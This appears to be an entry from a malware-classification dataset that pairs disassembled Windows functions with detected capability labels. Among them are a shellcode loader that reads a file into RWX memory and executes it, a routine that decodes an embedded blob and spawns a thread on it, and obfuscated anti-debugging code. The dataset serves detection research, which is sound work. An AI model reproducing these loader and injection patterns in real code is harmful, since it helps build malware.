joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401550
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call fcn.004016e0
lea rdx, section..rdata
lea rcx, str.1.bin
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_ftell
cdqe
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x10]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp - 0x18]
call rax
mov rax, qword [rbp - 0x18]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret
Function at 0x401b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401cd8
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401b9c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401c25
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401b80
mov rcx, rbx
call fcn.004027f0
test rax, rax
mov r12, rax
je 0x401d0d
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00402920
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401cf0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401c1e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401c80
add dword [0x00407624], 1
cmp edi, 8
jae 0x401c53
test dil, 4
jne 0x401cc4
test edi, edi
je 0x401c48
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401cdf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401c48
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401c6c
jmp 0x401c48
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401c1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00402d00
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401c48
xor esi, esi
jmp 0x401ba7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401c48
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.00402d00
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00402d00
nop
nop dword [rax]

Function at 0x402460
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x4024b4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4024ab
test rsi, rsi
je 0x4024ab
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402490
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4027f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404340]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40285d
mov rcx, r8
call fcn.004026d0
test eax, eax
je 0x40285d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40285d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402854
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40285f
add rax, 0x28
cmp rax, r9
jne 0x402840
xor eax, eax
add rsp, 0x28
ret

Function at 0x402d00
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402bc0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402bc0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x140109934
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov r9, 0xffffffffb159f1ad
mov al, byte [rsp]
xchg r8d, r10d
mov r8d, dword [rsp]
xchg cx, ax
mov esi, edx
jmp 0x1401096a3
clc
push qword [rsp + 9]
pop qword [rsp]
lea rsp, [rsp + 2]
mov qword [rsp], rcx
setb r10b
jmp 0x1401096c8
mov esi, eax
xchg r10, r8
jmp 0x1401096f8

Function at 0x14010a082
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [rsp + 0x19]
mov r15b, byte [rsp + 0xe]
lea rsp, [rsp + 0x32]
jmp 0x14010a05b
mov word [rsp + 0x2c], sp
mov r15d, dword [rsp + 0x31]
pop qword [rsp + 6]
mov r15b, 0x7c
jmp 0x140109ffd
btc cx, sp
neg dil
xchg qword [rsp + 0x11], rcx
mov r9w, 0x2312
mov r10, r8
inc ax
jmp 0x14010a013
rcl cl, cl
lea rcx, [r8 + riz - 0xdb4]
neg r11d
jmp 0x14010a09a
mov r9d, dword [rsp]
mov esi, dword [rsp]
mov r13w, r12w
cpuid
cld
add rsp, 1
jmp 0x14010a045
jmp 0x14010a02c
rdtsc
rdtsc
mov dx, 0xae3f
xchg rsi, rax
bswap rbx
jmp 0x14010a0ae
mov byte [rsp], r14b
xchg r8, rsi
neg rbx
neg dl
setb cl
xchg byte [rsp], dl
jmp 0x14010a084
add rsp, 0
xchg byte [rsp], sil
xchg rbx, rax
lea rbp, [r9 + riz]
std
jmp 0x14010a0f6
neg r13d
setnp r10b
mov r14d, r15d
lea rsi, [rsp - 0x2613a76b]
mov r15, 0x78d22c56
call fcn.14010a0e0

Function at 0x14010a314
Capabilities:
Execute anti-debugging instructions

Disassembly:
push r15w
mov word [rsp + 8], r11w
cld
mov al, byte [rsp + 5]
jmp 0x14010a316
jmp 0x14010a2fe
mov r11w, r9w
mov rdi, qword [rsp]
mov bpl, dil
sbb r15b, dl
not r9
xchg r8w, r15w
jmp 0x14010a35b

Function at 0x14010a8cf
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov qword [rsp], r14
push qword [rsp + 3]
xchg word [rsp + 1], dx
jmp 0x14010a902
mov ax, r15w
bsr rax, rdi
mov r10b, byte [rsp + 1]
mov al, sil
mov r14b, byte [rsp + 5]
not r10b
jmp 0x14010a8ec
Function at 0x18003332f
Capabilities:
Query service status
Start service

Disassembly:
jmp 0x1800435b0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [0x1800ca3c0]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
mov r8d, 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x18004361c
xor al, al
jmp 0x1800436fb
mov r8d, 0x14
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x180043650
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor al, al
jmp 0x1800436fb
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x18004367d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor al, al
jmp 0x1800436fb
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x24
rep stosb byte [rdi], al
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
nop
cmp dword [rbp + 0x4c], 2
je 0x18004368d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
cmp dword [rbp + 0x4c], 4
jne 0x1800436ea
mov dword [rbp + 0x154], 1
jmp 0x1800436f4
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1800a1040]
call fcn.180033c58
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.18003372b
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x18003334d
Capabilities:
Enumerate threads
Query service status
Resume thread

Disassembly:
jmp 0x1800432f0
push rbp
push rdi
sub rsp, 0x2b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1800ca3c0]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
mov r8d, 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x18004334e
jmp 0x1800434f6
lea rax, [rbp + 0x224]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x244]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x264]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x224]
movzx r8d, byte [rbp + 0x244]
movzx edx, byte [rbp + 0x264]
lea rcx, [rbp + 0x1f0]
call fcn.180037a00
mov rcx, rax
call fcn.180033582
mov r8d, 4
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1800433e0
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
jmp 0x1800434f6
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x24
rep stosb byte [rdi], al
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1800434e0
xor edx, edx
mov ecx, 4
call fcn.180033708
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0xffffffffffffffff
je 0x1800434e0
mov dword [rbp + 0xc8], 0x1c
lea rax, [rbp + 0xcc]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call fcn.180033983
test eax, eax
je 0x1800434d2
mov eax, dword [rbp + 0x64]
cmp dword [rbp + 0xd4], eax
jne 0x1800434bb
mov r8d, dword [rbp + 0xd0]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
je 0x1800434bb
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call fcn.1800331cc
test eax, eax
jne 0x18004346f
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x1800a1300]
call fcn.180033c58
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.18003372b
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret
Function at 0x18003375d
Capabilities:
Create thread

Disassembly:
jmp 0x180050dd0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x30]
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0xc0], eax
cmp dword [rbp + 0xc0], 1
je 0x180050e10
jmp 0x180050e3a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0xf0]
lea r8, [sym.AME_Wizard.dll_MicrosoftServiceStart]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov eax, 1
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret

Function at 0x18003387f
Capabilities:
Terminate process

Disassembly:
jmp 0x180097890
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1800338f7
Capabilities:
Query service status
Terminate process

Disassembly:
jmp 0x180043a50
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x1800ca3c0]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
mov r8d, 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x180043abc
xor al, al
jmp 0x180043b7e
mov r8d, 0x10000
mov rdx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x180043af0
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor al, al
jmp 0x180043b7e
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x24
rep stosb byte [rdi], al
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x180043b66
mov r8d, dword [rbp + 0x64]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x180043b66
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1800a0f60]
call fcn.180033c58
mov rax, rdi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.18003372b
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x180033a69
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x180043190
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
mov qword [rbp + 8], 0x1784b
mov r8b, 0x99
mov rdx, qword [rbp + 8]
lea rcx, section..data
call fcn.1800330e1
nop
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1800431ed
jmp 0x180043225
mov r8, qword [rbp + 8]
lea rdx, section..data
mov rcx, qword [rbp + 0x28]
call fcn.180033730
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x180033a8c
Capabilities:
Enumerate processes

Disassembly:
jmp 0x180042b50
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xca
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4e8]
mov rax, qword [0x1800ca3c0]
xor rax, rbp
mov qword [rbp + 0x498], rax
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
xor edx, edx
mov ecx, 2
call fcn.180033708
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x180042bbf
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x180042bbf
cmp qword [rbp + 8], 0x18
jne 0x180042be0
mov dword [rbp + 0x424], 0
mov rcx, qword [rbp + 0x4c0]
call fcn.180033ce4
mov eax, dword [rbp + 0x424]
jmp 0x180042ca8
mov dword [rbp + 0x50], 0x238
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.180033947
test eax, eax
je 0x180042c59
mov rcx, qword [rbp + 0x4c0]
call fcn.1800334fb
mov rdx, rax
lea rcx, [rbp + 0x7c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
je 0x180042c51
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.180033cf3
test eax, eax
jne 0x180042c4f
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x444], 0
mov rcx, qword [rbp + 0x4c0]
call fcn.180033ce4
mov eax, dword [rbp + 0x444]
jmp 0x180042ca8
jmp 0x180042bf8
mov eax, dword [rbp + 0x58]
mov dword [rbp + 0x24], eax
jmp 0x180042c82
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 0x464], 0
mov rcx, qword [rbp + 0x4c0]
call fcn.180033ce4
mov eax, dword [rbp + 0x464]
jmp 0x180042ca8
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0x484], eax
mov rcx, qword [rbp + 0x4c0]
call fcn.180033ce4
mov eax, dword [rbp + 0x484]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1800a1a30]
call fcn.180033c58
mov rax, rdi
mov rcx, qword [rbp + 0x498]
xor rcx, rbp
call fcn.18003372b
lea rsp, [rbp + 0x4a8]
pop rdi
pop rbp
ret
Function at 0x180033df2
Capabilities:
Write file on windows

Disassembly:
jmp 0x180044c80
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x1800ca3c0]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1800d606a]
call fcn.180033ee7
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x180044ce7
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x180044cee
mov al, 1
jmp 0x180044e64
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.18003356e
mov word [rbp + 0x160], ax
movzx edx, word [rbp + 0x160]
mov rcx, qword [rbp + 0x190]
call qword [rbp + 0x158]
mov word [rbp + 0x162], ax
call fcn.18003356e
mov word [rbp + 0x164], ax
movzx edx, word [rbp + 0x162]
movzx ecx, word [rbp + 0x164]
call fcn.18003364f
movzx eax, al
test eax, eax
je 0x180044d57
xor al, al
jmp 0x180044e64
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x190]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x180044dca
cmp dword [rbp + 0x160], 1
je 0x180044dd5
cmp dword [rbp + 0x160], 3
je 0x180044e53
jmp 0x180044e62
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x72], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x180044e25
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x180044e25
xor al, al
jmp 0x180044e64
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x180044e40
mov dword [rbp + 0x154], 1
jmp 0x180044e4a
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x180044e64
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x72], 0
mov al, 1
jmp 0x180044e64
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1800a0a90]
call fcn.180033c58
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.18003372b
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x180033ffa
Capabilities:
Enumerate threads
Query service status
Suspend thread

Disassembly:
jmp 0x180043790
push rbp
push rdi
sub rsp, 0x2b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1800ca3c0]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x1800d6111]
call fcn.180033ee7
nop
mov r8d, 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1800437ee
jmp 0x180043996
lea rax, [rbp + 0x224]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x244]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x264]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x224]
movzx r8d, byte [rbp + 0x244]
movzx edx, byte [rbp + 0x264]
lea rcx, [rbp + 0x1f0]
call fcn.180037ad0
mov rcx, rax
call fcn.180033582
mov r8d, 4
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x180043880
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
jmp 0x180043996
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x24
rep stosb byte [rdi], al
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x180043980
xor edx, edx
mov ecx, 4
call fcn.180033708
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0xffffffffffffffff
je 0x180043980
mov dword [rbp + 0xc8], 0x1c
lea rax, [rbp + 0xcc]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call fcn.180033983
test eax, eax
je 0x180043972
mov eax, dword [rbp + 0x64]
cmp dword [rbp + 0xd4], eax
jne 0x18004395b
mov r8d, dword [rbp + 0xd0]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
je 0x18004395b
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
nop
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp + 0xa8]
call fcn.1800331cc
test eax, eax
jne 0x18004390f
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x1800a1160]
call fcn.180033c58
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.18003372b
